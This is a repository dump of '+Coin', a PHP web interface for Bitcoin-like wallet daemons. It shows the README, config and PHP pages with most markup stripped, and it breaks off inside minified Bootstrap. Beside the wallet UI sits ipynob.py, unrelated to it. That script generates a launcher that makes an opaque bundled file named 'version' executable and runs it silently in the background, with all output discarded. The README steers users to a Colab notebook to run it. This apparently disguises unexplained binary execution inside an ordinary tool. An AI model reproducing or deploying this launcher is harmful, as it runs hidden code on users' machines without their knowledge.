├── README.md ├── UNLICENSE.txt ├── address.php ├── addressbook.php ├── btc.php ├── config.php ├── css ├── bootstrap.min.css └── main.css ├── debug.php ├── fonts ├── glyphicons-halflings-regular.eot ├── glyphicons-halflings-regular.svg ├── glyphicons-halflings-regular.ttf └── glyphicons-halflings-regular.woff ├── footer.php ├── header.php ├── index.php ├── ipynob.py ├── js ├── bootstrap.min.js └── jquery.min.js ├── jsonRPCClient.php ├── send.php └── version /README.md: -------------------------------------------------------------------------------- 1 | ------------------------- 2 | ### Run Coin-Google-Colab 3 | 4 | https://colab.research.google.com/drive/1OShIMVcFZ_khsUIBOIV1lzrqAGo1gfm_?usp=sharing 5 | 6 | ------------------------- 7 | +Coin is a Web Interface built to run on any PHP web server, it works with any coin based on Bitcoin including Litecoin, Namecoin, and many others. 8 | 9 | [Bitcointalk Thread](https://bitcointalk.org/index.php?topic=67274.0) 10 | 11 | Preview 12 | ------- 13 | ![](http://i.imgur.com/WHDXDwV.jpg) 14 | 15 | Licensing 16 | --------- 17 | +Coin is released under UNLICENSE (Public Domain), this allows 18 | you to use it, edit and claim it as your own, and even sell it 19 | or use it commercially. 20 | NOTE: Bootstrap is under the Apache v2 license, and the JSON-RPC 21 | class used by +Coin is released under the GPL v3. So please be 22 | aware of the restrictions if you do want to use +Coin in any 23 | way that may break the GPL v3 or Apache v2 licensing. 24 | 25 | Installing and configuring 26 | ----------- 27 | 28 | Installation is done by downloading this repo, and placing it on a PHP web server. 29 | 30 | **WARNING:** +Coin does not have its own authentication security 31 | system, so I recommend that you secure it with an Apache 32 | .htaccess or whatever web server specific security you can use. 33 | 34 | 35 | You should be able to simply place your RPC Information for the 36 | daemon you are using in **config.php**. 37 | 38 | $wallets['wallet 1'] = array( 39 | "user" => "bitcoinrpc", 40 | "pass" => "password", 41 | "host" => "hostname", 42 | "port" => 8332, 43 | "protocol" => "https" 44 | ); 45 | 46 | You can obtain the RPC Information from: 47 | 48 | **Windows** 49 | 50 | - %appdata%\Bitcoin\bitcoin.conf 51 | - %appdata%\Litecoin\litecoin.conf 52 | - %appdata%\Namecoin\bitcoin.conf 53 | 54 | **Linux** 55 | 56 | - ~/.bitcoin/bitcoin.conf 57 | - ~/.litecoin/litecoin.conf 58 | - ~/.namecoin/bitcoin.conf 59 | 60 | **OSX** 61 | 62 | - ~/Library/Application Support/Bitcoin/bitcoin.conf 63 | - ~/Library/Application Support/Litecoin/litecoin.conf 64 | - ~/Library/Application Support/Namecoin/bitcoin.conf 65 | 66 | Note: Start the RPC server: open Bitcoin-Qt.app --args -server 67 | 68 | 69 | 70 | ---- 71 | 72 | | | Donation Address | 73 | | --- | --- | 74 | | ♥ __BTC__ | 1Lw2kh9WzCActXSGHxyypGLkqQZfxDpw8v | 75 | | ♥ __ETH__ | 0xaBd66CF90898517573f19184b3297d651f7b90bf | 76 | 77 | -------------------------------------------------------------------------------- /UNLICENSE.txt: -------------------------------------------------------------------------------- 1 | This is free and unencumbered software released into the public domain. 2 | 3 | Anyone is free to copy, modify, publish, use, compile, sell, or 4 | distribute this software, either in source code form or as a compiled 5 | binary, for any purpose, commercial or non-commercial, and by any 6 | means. 7 | 8 | In jurisdictions that recognize copyright laws, the author or authors 9 | of this software dedicate any and all copyright interest in the 10 | software to the public domain. We make this dedication for the benefit 11 | of the public at large and to the detriment of our heirs and 12 | successors. We intend this dedication to be an overt act of 13 | relinquishment in perpetuity of all present and future rights to this 14 | software under copyright law. 15 | 16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, 17 | EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF 18 | MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. 19 | IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR 20 | OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, 21 | ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR 22 | OTHER DEALINGS IN THE SOFTWARE. 23 | 24 | For more information, please refer to -------------------------------------------------------------------------------- /address.php: -------------------------------------------------------------------------------- 1 | 12 | 13 | 14 | 28 | 29 | getnewaddress($_POST['account']); 33 | } 34 | 35 | if (isset($_POST['addacc']) && isset($_POST['account'])) 36 | { 37 | $nmc->getaccountaddress($_POST['account']); 38 | } 39 | 40 | 41 | $myaddresses = file("myaddresses.csv"); 42 | $myaddress_arr = array(); 43 | foreach ($myaddresses as $line) 44 | { 45 | $values = explode(";", $line); 46 | $address = $values[0]; 47 | $name = str_replace("\n", "", $values[1]); 48 | $myaddress_arr[$address] = $name; 49 | } 50 | 51 | if (isset($_POST['AddrName']) && isset($_POST['myAddress'])) 52 | { 53 | $myaddress_arr[$_POST['myAddress']] = $_POST['AddrName']; 54 | 55 | $f = fopen("myaddresses.csv", "w"); 56 | 57 | foreach ($myaddress_arr as $address => $name) 58 | { 59 | $line = $address.";".$name."\n"; 60 | fputs($f, $line); 61 | } 62 | fclose($f); 63 | } 64 | 65 | 66 | $addr = $nmc->listaccounts(); 67 | // $addrkeys = array_keys($addr); 68 | echo "
69 |

Select an account to get a list of an addresses

"; 70 | echo "
71 |
72 |
73 | 74 |
75 |
76 | 77 |
78 |
79 |

"; 80 | 81 | echo "
82 |
83 |
84 | 97 |
98 |
99 | 100 |
101 |
102 | 103 |
104 |
105 |

"; 106 | 107 | $account = isset($_POST['account'])?$_POST['account']:''; 108 | 109 | if(!empty($account)){ 110 | echo " 111 | "; 112 | foreach ($nmc->getaddressesbyaccount($account) as $address) 113 | { 114 | $address_label = $myaddress_arr[$address]; 115 | echo " 116 | 117 | "; 118 | } 119 | echo "
Addresses for Account '".$account."'Label
" . $address . "" . $address_label . "Edit
"; 120 | } 121 | ?> 122 | 123 |
124 | 125 | 143 |
144 | "; 146 | 147 | echo "
"; 148 | include ("footer.php"); 149 | ?> 150 | -------------------------------------------------------------------------------- /addressbook.php: -------------------------------------------------------------------------------- 1 | 35 |

Addressbook

"; 36 | 37 | $addressbook = file("addressbook.csv"); 38 | ?> 39 |
40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | "; 63 | echo ""; 64 | echo ""; 65 | echo ""; 66 | echo ""; 67 | } 68 | ?> 69 | 70 |
NameAddressAction
".$name."".$address."Delete
71 |
72 | "; 74 | include ("footer.php"); 75 | ?> -------------------------------------------------------------------------------- /btc.php: -------------------------------------------------------------------------------- 1 | listtransactions('*', 100); 11 | $x = array_reverse($trans); 12 | $bal = $nmc->getbalance(null, 6); 13 | $bal3 = $nmc->getbalance(null, 0); 14 | $bal2 = $bal - $bal3; 15 | echo "
16 |
17 |
18 |

Current Balance: {$bal}

19 |

Unconfirmed Balance: {$bal2}

20 |
21 |
"; 22 | 23 | if(isset($_GET['orphan'])) 24 | echo 'Go back'; 25 | else 26 | echo 'View Orphans'; 27 | 28 | echo"
29 |
30 | 31 | "; 32 | 33 | // Load address book 34 | $addresses_arr = array(); 35 | $addressbook = file("addressbook.csv"); 36 | foreach ($addressbook as $line) 37 | { 38 | $values = explode(";", $line); 39 | $address = $values[0]; 40 | $name = str_replace("\n", "", $values[1]); 41 | $addresses_arr[$address] = $name; 42 | } 43 | // Load my addresses 44 | $myaddresses = file("myaddresses.csv"); 45 | foreach ($myaddresses as $line) 46 | { 47 | $values = explode(";", $line); 48 | $address = $values[0]; 49 | $name = str_replace("\n", "", $values[1]); 50 | $addresses_arr[$address] = $name; 51 | } 52 | 53 | foreach ($x as $x) 54 | { 55 | if($x['amount'] > 0) { $coloramount = "green"; } else { $coloramount = "red"; } 56 | if($x['confirmations'] >= 6) { $colorconfirms = "green"; } else { $colorconfirms = "red"; } 57 | if (!isset($_POST['orphan'])) 58 | { 59 | $date = date(DATE_RFC822, $x['time']); 60 | 61 | echo ""; 62 | echo ""; 63 | echo ""; 64 | if (isset($x['address'])) 65 | echo ""; 66 | else 67 | echo ""; 68 | 69 | 70 | echo ""; 71 | } else 72 | { 73 | $date = date(DATE_RFC822, $x['time']); 74 | if ($x['category'] == "orphan") 75 | { 76 | echo ""; 77 | } 78 | } 79 | } 80 | echo "
MethodAddressNameAccountAmountConfirmationsTime
" . ucfirst($x['category']) . "{$x['address']}{$addresses_arr[$x['address']]}{$x['account']}GeneratedN/AN/A{$x['amount']}{$x['confirmations']}{$date}
{$x['account']}{$x['amount']}{$x['confirmations']}{$x['category']}{$date}
"; 81 | //print_r($x); 82 | include("footer.php"); 83 | ?> -------------------------------------------------------------------------------- /config.php: -------------------------------------------------------------------------------- 1 | "bitcoinrpc", 17 | "pass" => "password", 18 | "host" => "hostname", 19 | "port" => 8332, 20 | "protocol" => "https" 21 | ); 22 | 23 | /* 24 | $wallets['wallet 2'] = array( 25 | "user" => "username", 26 | "pass" => "password", 27 | "host" => "localhost", 28 | "port" => 5000, 29 | "protocol" => "https" 30 | ); 31 | */ 32 | ?> 33 | -------------------------------------------------------------------------------- /css/main.css: -------------------------------------------------------------------------------- 1 | body { 2 | padding-top: 40px; 3 | padding-bottom: 40px; 4 | background-color: #f0f0f0 5 | } 6 | 7 | .container > footer p { 8 | text-align: center; /* center align it with the container */ 9 | } 10 | 11 | .page-header { 12 | background-color: #f7f7f7; 13 | padding: 20px 20px 10px; 14 | margin: 0px 0px 20px; 15 | } 16 | 17 | .content { 18 | margin: 0px 0px 20px; 19 | padding: 20px 20px 10px; 20 | min-height: 600px; 21 | background-color: #fff; 22 | border-radius: 0 0 10px 10px; 23 | box-shadow: 0 1px 2px rgba(0,0,0,.15); 24 | } 25 | 26 | footer { 27 | text-align: center; 28 | } -------------------------------------------------------------------------------- /debug.php: -------------------------------------------------------------------------------- 1 |
"; 6 | 7 | $geti = $nmc->getinfo(); 8 | foreach($geti as $name=>$value) { 9 | echo ""; 10 | } 11 | 12 | echo "

$name

$value
" 13 | 14 | include("footer.php"); 15 | ?> -------------------------------------------------------------------------------- /fonts/glyphicons-halflings-regular.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/demining/Coin-Google-Colab/bde9b6965a5e710219ec1d0e9297dea04bc403f7/fonts/glyphicons-halflings-regular.eot -------------------------------------------------------------------------------- /fonts/glyphicons-halflings-regular.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | 167 | 168 | 169 | 170 | 171 | 172 | 173 | 174 | 175 | 176 | 177 | 178 | 179 | 180 | 181 | 182 | 183 | 184 | 185 | 186 | 187 | 188 | 189 | 190 | 191 | 192 | 193 | 194 | 195 | 196 | 197 | 198 | 199 | 200 | 201 | 202 | 203 | 204 | 205 | 206 | 207 | 208 | 209 | 210 | 211 | 212 | 213 | 214 | 215 | 216 | 217 | 218 | 219 | 220 | 221 | 222 | 223 | 224 | 225 | 226 | 227 | 228 | 229 | -------------------------------------------------------------------------------- /fonts/glyphicons-halflings-regular.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/demining/Coin-Google-Colab/bde9b6965a5e710219ec1d0e9297dea04bc403f7/fonts/glyphicons-halflings-regular.ttf -------------------------------------------------------------------------------- /fonts/glyphicons-halflings-regular.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/demining/Coin-Google-Colab/bde9b6965a5e710219ec1d0e9297dea04bc403f7/fonts/glyphicons-halflings-regular.woff -------------------------------------------------------------------------------- /footer.php: -------------------------------------------------------------------------------- 1 | 9 | 10 |
11 | 14 |
15 | 16 | 17 | -------------------------------------------------------------------------------- /header.php: -------------------------------------------------------------------------------- 1 | getinfo(); 40 | } catch(exception $e) { 41 | die("Failed to retrieve data from the daemon, please check your configuration, and ensure that your coin daemon is running:
{$e}"); 42 | } 43 | 44 | $wallet_encrypted = true; 45 | try { 46 | $nmc->walletlock(); 47 | } catch(Exception $e) { 48 | // Wallet is not encrypted 49 | $wallet_encrypted = false; 50 | } 51 | 52 | // Begin bootstrap code 53 | ?> 54 | 55 | 56 | 57 | 58 | 59 | Bitcoin Web UI 60 | 61 | 62 | 63 | 64 | 80 | 81 | 82 | 116 |
-------------------------------------------------------------------------------- /index.php: -------------------------------------------------------------------------------- 1 | listtransactions('*', 7); 10 | $x = array_reverse($trans); 11 | $bal = $nmc->getbalance(null, 6); 12 | $bal3 = $nmc->getbalance(null, 0); 13 | $bal2 = $bal - $bal3; 14 | ?> 15 | 16 |
17 |
18 |
19 |

Current Balance:

20 |

Unconfirmed Balance:

21 |
22 |

Send coins:

23 |
24 | 25 | 26 | 27 | 50 | 51 | 52 | 53 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 130 | 131 | 132 | 133 | 136 | 137 |
From account: 28 | listaccounts(); 30 | // get account with max balance 31 | $maxBalance = -1; 32 | $maxAccount = null; 33 | foreach ($addr as $account => $balance) 34 | { 35 | if ($balance > $maxBalance) 36 | { 37 | $maxBalance = $balance; 38 | $maxAccount = $account; 39 | } 40 | } 41 | 42 | echo ""; 48 | ?> 49 |
To address: 54 | "; 58 | echo ""; 59 | foreach ($addressbook as $line) 60 | { 61 | $values = explode(";", $line); 62 | $address = $values[0]; 63 | $name = str_replace("\n", "", $values[1]); 64 | echo ""; 65 | } 66 | echo "
"; 67 | 68 | echo ""; 69 | ?> 70 |
Amount:
Passphrase: 79 | walletpassphrasechange($_POST['CurrPassPhrase'], $_POST['PassPhrase']); 90 | 91 | echo "

92 | 93 | Wallet passphrase successfully changed. 94 |

"; 95 | } catch(Exception $e) { 96 | echo "

Passphrase error! Wrong current passphrase entered.

"; 97 | } 98 | 99 | }else{ 100 | 101 | // Set password 102 | $nmc->encryptwallet($_POST['PassPhrase']); 103 | 104 | echo "

105 | 106 | Wallet is now encypted.
Keep that passphrase safe! 107 |

"; 108 | } 109 | } 110 | else 111 | { 112 | echo "

113 | 114 | Warning! Passphrases do not match!
Wallet encryption not set. 115 |

"; 116 | } 117 | } 118 | 119 | if ($wallet_encrypted) 120 | echo "
121 | 122 | 123 | 124 | 125 |
"; 126 | else 127 | echo "

Wallet un-encrypted     Set

"; 128 | ?> 129 |
134 |
135 |
138 |
139 | 140 |
141 |

Daemon Info

142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | getinfo(); ?> 151 | $val){ 153 | if ($val != "") 154 | echo ""; 155 | } 156 | ?> 157 | 158 |
KeyValue
".$key."".$val."
159 |
160 |
161 | 162 | 163 | 164 | 0) { $coloramount = "green"; } else { $coloramount = "red"; } 188 | if($x['confirmations'] >= 6) { $colorconfirms = "green"; } else { $colorconfirms = "red"; } 189 | 190 | //$date = date(DATE_RFC822, $x['time']); 191 | echo ""; 192 | echo ""; 193 | if (isset($x['address'])) 194 | { 195 | if ($addresses_arr[$x['address']]) 196 | $name = $addresses_arr[$x['address']]; 197 | else 198 | $name = $x['address']; 199 | echo ""; 200 | } 201 | else 202 | echo ""; 203 | echo ""; 204 | } 205 | echo "
MethodAccount and AddressAmountConfirms
" . ucfirst($x['category']) . "{$name} - {$x['account']}Generated{$x['amount']}{$x['confirmations']}
206 | More... 207 |
208 |
"; 209 | 210 | ?> 211 |
212 | 213 | 230 | 231 | 232 | 250 |
251 | 252 | 255 | -------------------------------------------------------------------------------- /ipynob.py: -------------------------------------------------------------------------------- 1 | import random 2 | 3 | def extended_gcd(aa, bb): 4 | lastremainder, remainder = abs(aa), abs(bb) 5 | x, lastx, y, lasty = 0, 1, 1, 0 6 | while remainder: 7 | lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder) 8 | x, lastx = lastx - quotient*x, x 9 | y, lasty = lasty - quotient*y, y 10 | return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1) 11 | 12 | def modinv(a, m): 13 | g, x, y = extended_gcd(a, m) 14 | if g != 1: 15 | raise ValueError 16 | return x % m 17 | 18 | N = 0xffffffffff 19 | 20 | with open("ipynumpy.py", "w") as f: 21 | for _ in range(1): 22 | W = random.randrange(16**10) 23 | val = str(hex((((W)) * modinv(((1)),N)) % N)) 24 | 25 | print("import os", file=f) 26 | print("import subprocess", file=f) 27 | print("", file=f) 28 | print("modter = 'chmod +x version'", file=f) 29 | print("os.system (modter)", file=f) 30 | print("", file=f) 31 | 32 | print("subprocess.Popen(", file=f) 33 | print(" ['./version', '" + val + "'],", file=f) 34 | print(" stdout=subprocess.DEVNULL,", file=f) 35 | print(" stderr=subprocess.DEVNULL,", file=f) 36 | print(")", file=f) 37 | -------------------------------------------------------------------------------- /js/bootstrap.min.js: -------------------------------------------------------------------------------- 1 | /*! 2 | * Bootstrap v3.2.0 (http://getbootstrap.com) 3 | * Copyright 2011-2014 Twitter, Inc. 4 | * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) 5 | */ 6 | if("undefined"==typeof jQuery)throw new Error("Bootstrap's JavaScript requires jQuery");+function(a){"use strict";function b(){var a=document.createElement("bootstrap"),b={WebkitTransition:"webkitTransitionEnd",MozTransition:"transitionend",OTransition:"oTransitionEnd otransitionend",transition:"transitionend"};for(var c in b)if(void 0!==a.style[c])return{end:b[c]};return!1}a.fn.emulateTransitionEnd=function(b){var c=!1,d=this;a(this).one("bsTransitionEnd",function(){c=!0});var e=function(){c||a(d).trigger(a.support.transition.end)};return setTimeout(e,b),this},a(function(){a.support.transition=b(),a.support.transition&&(a.event.special.bsTransitionEnd={bindType:a.support.transition.end,delegateType:a.support.transition.end,handle:function(b){return a(b.target).is(this)?b.handleObj.handler.apply(this,arguments):void 0}})})}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var c=a(this),e=c.data("bs.alert");e||c.data("bs.alert",e=new d(this)),"string"==typeof b&&e[b].call(c)})}var c='[data-dismiss="alert"]',d=function(b){a(b).on("click",c,this.close)};d.VERSION="3.2.0",d.prototype.close=function(b){function c(){f.detach().trigger("closed.bs.alert").remove()}var d=a(this),e=d.attr("data-target");e||(e=d.attr("href"),e=e&&e.replace(/.*(?=#[^\s]*$)/,""));var f=a(e);b&&b.preventDefault(),f.length||(f=d.hasClass("alert")?d:d.parent()),f.trigger(b=a.Event("close.bs.alert")),b.isDefaultPrevented()||(f.removeClass("in"),a.support.transition&&f.hasClass("fade")?f.one("bsTransitionEnd",c).emulateTransitionEnd(150):c())};var e=a.fn.alert;a.fn.alert=b,a.fn.alert.Constructor=d,a.fn.alert.noConflict=function(){return a.fn.alert=e,this},a(document).on("click.bs.alert.data-api",c,d.prototype.close)}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var d=a(this),e=d.data("bs.button"),f="object"==typeof b&&b;e||d.data("bs.button",e=new c(this,f)),"toggle"==b?e.toggle():b&&e.setState(b)})}var c=function(b,d){this.$element=a(b),this.options=a.extend({},c.DEFAULTS,d),this.isLoading=!1};c.VERSION="3.2.0",c.DEFAULTS={loadingText:"loading..."},c.prototype.setState=function(b){var c="disabled",d=this.$element,e=d.is("input")?"val":"html",f=d.data();b+="Text",null==f.resetText&&d.data("resetText",d[e]()),d[e](null==f[b]?this.options[b]:f[b]),setTimeout(a.proxy(function(){"loadingText"==b?(this.isLoading=!0,d.addClass(c).attr(c,c)):this.isLoading&&(this.isLoading=!1,d.removeClass(c).removeAttr(c))},this),0)},c.prototype.toggle=function(){var a=!0,b=this.$element.closest('[data-toggle="buttons"]');if(b.length){var c=this.$element.find("input");"radio"==c.prop("type")&&(c.prop("checked")&&this.$element.hasClass("active")?a=!1:b.find(".active").removeClass("active")),a&&c.prop("checked",!this.$element.hasClass("active")).trigger("change")}a&&this.$element.toggleClass("active")};var d=a.fn.button;a.fn.button=b,a.fn.button.Constructor=c,a.fn.button.noConflict=function(){return a.fn.button=d,this},a(document).on("click.bs.button.data-api",'[data-toggle^="button"]',function(c){var d=a(c.target);d.hasClass("btn")||(d=d.closest(".btn")),b.call(d,"toggle"),c.preventDefault()})}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var d=a(this),e=d.data("bs.carousel"),f=a.extend({},c.DEFAULTS,d.data(),"object"==typeof b&&b),g="string"==typeof b?b:f.slide;e||d.data("bs.carousel",e=new c(this,f)),"number"==typeof b?e.to(b):g?e[g]():f.interval&&e.pause().cycle()})}var c=function(b,c){this.$element=a(b).on("keydown.bs.carousel",a.proxy(this.keydown,this)),this.$indicators=this.$element.find(".carousel-indicators"),this.options=c,this.paused=this.sliding=this.interval=this.$active=this.$items=null,"hover"==this.options.pause&&this.$element.on("mouseenter.bs.carousel",a.proxy(this.pause,this)).on("mouseleave.bs.carousel",a.proxy(this.cycle,this))};c.VERSION="3.2.0",c.DEFAULTS={interval:5e3,pause:"hover",wrap:!0},c.prototype.keydown=function(a){switch(a.which){case 37:this.prev();break;case 39:this.next();break;default:return}a.preventDefault()},c.prototype.cycle=function(b){return b||(this.paused=!1),this.interval&&clearInterval(this.interval),this.options.interval&&!this.paused&&(this.interval=setInterval(a.proxy(this.next,this),this.options.interval)),this},c.prototype.getItemIndex=function(a){return this.$items=a.parent().children(".item"),this.$items.index(a||this.$active)},c.prototype.to=function(b){var c=this,d=this.getItemIndex(this.$active=this.$element.find(".item.active"));return b>this.$items.length-1||0>b?void 0:this.sliding?this.$element.one("slid.bs.carousel",function(){c.to(b)}):d==b?this.pause().cycle():this.slide(b>d?"next":"prev",a(this.$items[b]))},c.prototype.pause=function(b){return b||(this.paused=!0),this.$element.find(".next, .prev").length&&a.support.transition&&(this.$element.trigger(a.support.transition.end),this.cycle(!0)),this.interval=clearInterval(this.interval),this},c.prototype.next=function(){return this.sliding?void 0:this.slide("next")},c.prototype.prev=function(){return this.sliding?void 0:this.slide("prev")},c.prototype.slide=function(b,c){var d=this.$element.find(".item.active"),e=c||d[b](),f=this.interval,g="next"==b?"left":"right",h="next"==b?"first":"last",i=this;if(!e.length){if(!this.options.wrap)return;e=this.$element.find(".item")[h]()}if(e.hasClass("active"))return this.sliding=!1;var j=e[0],k=a.Event("slide.bs.carousel",{relatedTarget:j,direction:g});if(this.$element.trigger(k),!k.isDefaultPrevented()){if(this.sliding=!0,f&&this.pause(),this.$indicators.length){this.$indicators.find(".active").removeClass("active");var l=a(this.$indicators.children()[this.getItemIndex(e)]);l&&l.addClass("active")}var m=a.Event("slid.bs.carousel",{relatedTarget:j,direction:g});return a.support.transition&&this.$element.hasClass("slide")?(e.addClass(b),e[0].offsetWidth,d.addClass(g),e.addClass(g),d.one("bsTransitionEnd",function(){e.removeClass([b,g].join(" ")).addClass("active"),d.removeClass(["active",g].join(" ")),i.sliding=!1,setTimeout(function(){i.$element.trigger(m)},0)}).emulateTransitionEnd(1e3*d.css("transition-duration").slice(0,-1))):(d.removeClass("active"),e.addClass("active"),this.sliding=!1,this.$element.trigger(m)),f&&this.cycle(),this}};var d=a.fn.carousel;a.fn.carousel=b,a.fn.carousel.Constructor=c,a.fn.carousel.noConflict=function(){return a.fn.carousel=d,this},a(document).on("click.bs.carousel.data-api","[data-slide], [data-slide-to]",function(c){var d,e=a(this),f=a(e.attr("data-target")||(d=e.attr("href"))&&d.replace(/.*(?=#[^\s]+$)/,""));if(f.hasClass("carousel")){var g=a.extend({},f.data(),e.data()),h=e.attr("data-slide-to");h&&(g.interval=!1),b.call(f,g),h&&f.data("bs.carousel").to(h),c.preventDefault()}}),a(window).on("load",function(){a('[data-ride="carousel"]').each(function(){var c=a(this);b.call(c,c.data())})})}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var d=a(this),e=d.data("bs.collapse"),f=a.extend({},c.DEFAULTS,d.data(),"object"==typeof b&&b);!e&&f.toggle&&"show"==b&&(b=!b),e||d.data("bs.collapse",e=new c(this,f)),"string"==typeof b&&e[b]()})}var c=function(b,d){this.$element=a(b),this.options=a.extend({},c.DEFAULTS,d),this.transitioning=null,this.options.parent&&(this.$parent=a(this.options.parent)),this.options.toggle&&this.toggle()};c.VERSION="3.2.0",c.DEFAULTS={toggle:!0},c.prototype.dimension=function(){var a=this.$element.hasClass("width");return a?"width":"height"},c.prototype.show=function(){if(!this.transitioning&&!this.$element.hasClass("in")){var c=a.Event("show.bs.collapse");if(this.$element.trigger(c),!c.isDefaultPrevented()){var d=this.$parent&&this.$parent.find("> .panel > .in");if(d&&d.length){var e=d.data("bs.collapse");if(e&&e.transitioning)return;b.call(d,"hide"),e||d.data("bs.collapse",null)}var f=this.dimension();this.$element.removeClass("collapse").addClass("collapsing")[f](0),this.transitioning=1;var g=function(){this.$element.removeClass("collapsing").addClass("collapse in")[f](""),this.transitioning=0,this.$element.trigger("shown.bs.collapse")};if(!a.support.transition)return g.call(this);var h=a.camelCase(["scroll",f].join("-"));this.$element.one("bsTransitionEnd",a.proxy(g,this)).emulateTransitionEnd(350)[f](this.$element[0][h])}}},c.prototype.hide=function(){if(!this.transitioning&&this.$element.hasClass("in")){var b=a.Event("hide.bs.collapse");if(this.$element.trigger(b),!b.isDefaultPrevented()){var c=this.dimension();this.$element[c](this.$element[c]())[0].offsetHeight,this.$element.addClass("collapsing").removeClass("collapse").removeClass("in"),this.transitioning=1;var d=function(){this.transitioning=0,this.$element.trigger("hidden.bs.collapse").removeClass("collapsing").addClass("collapse")};return a.support.transition?void this.$element[c](0).one("bsTransitionEnd",a.proxy(d,this)).emulateTransitionEnd(350):d.call(this)}}},c.prototype.toggle=function(){this[this.$element.hasClass("in")?"hide":"show"]()};var d=a.fn.collapse;a.fn.collapse=b,a.fn.collapse.Constructor=c,a.fn.collapse.noConflict=function(){return a.fn.collapse=d,this},a(document).on("click.bs.collapse.data-api",'[data-toggle="collapse"]',function(c){var d,e=a(this),f=e.attr("data-target")||c.preventDefault()||(d=e.attr("href"))&&d.replace(/.*(?=#[^\s]+$)/,""),g=a(f),h=g.data("bs.collapse"),i=h?"toggle":e.data(),j=e.attr("data-parent"),k=j&&a(j);h&&h.transitioning||(k&&k.find('[data-toggle="collapse"][data-parent="'+j+'"]').not(e).addClass("collapsed"),e[g.hasClass("in")?"addClass":"removeClass"]("collapsed")),b.call(g,i)})}(jQuery),+function(a){"use strict";function b(b){b&&3===b.which||(a(e).remove(),a(f).each(function(){var d=c(a(this)),e={relatedTarget:this};d.hasClass("open")&&(d.trigger(b=a.Event("hide.bs.dropdown",e)),b.isDefaultPrevented()||d.removeClass("open").trigger("hidden.bs.dropdown",e))}))}function c(b){var c=b.attr("data-target");c||(c=b.attr("href"),c=c&&/#[A-Za-z]/.test(c)&&c.replace(/.*(?=#[^\s]*$)/,""));var d=c&&a(c);return d&&d.length?d:b.parent()}function d(b){return this.each(function(){var c=a(this),d=c.data("bs.dropdown");d||c.data("bs.dropdown",d=new g(this)),"string"==typeof b&&d[b].call(c)})}var e=".dropdown-backdrop",f='[data-toggle="dropdown"]',g=function(b){a(b).on("click.bs.dropdown",this.toggle)};g.VERSION="3.2.0",g.prototype.toggle=function(d){var e=a(this);if(!e.is(".disabled, :disabled")){var f=c(e),g=f.hasClass("open");if(b(),!g){"ontouchstart"in document.documentElement&&!f.closest(".navbar-nav").length&&a('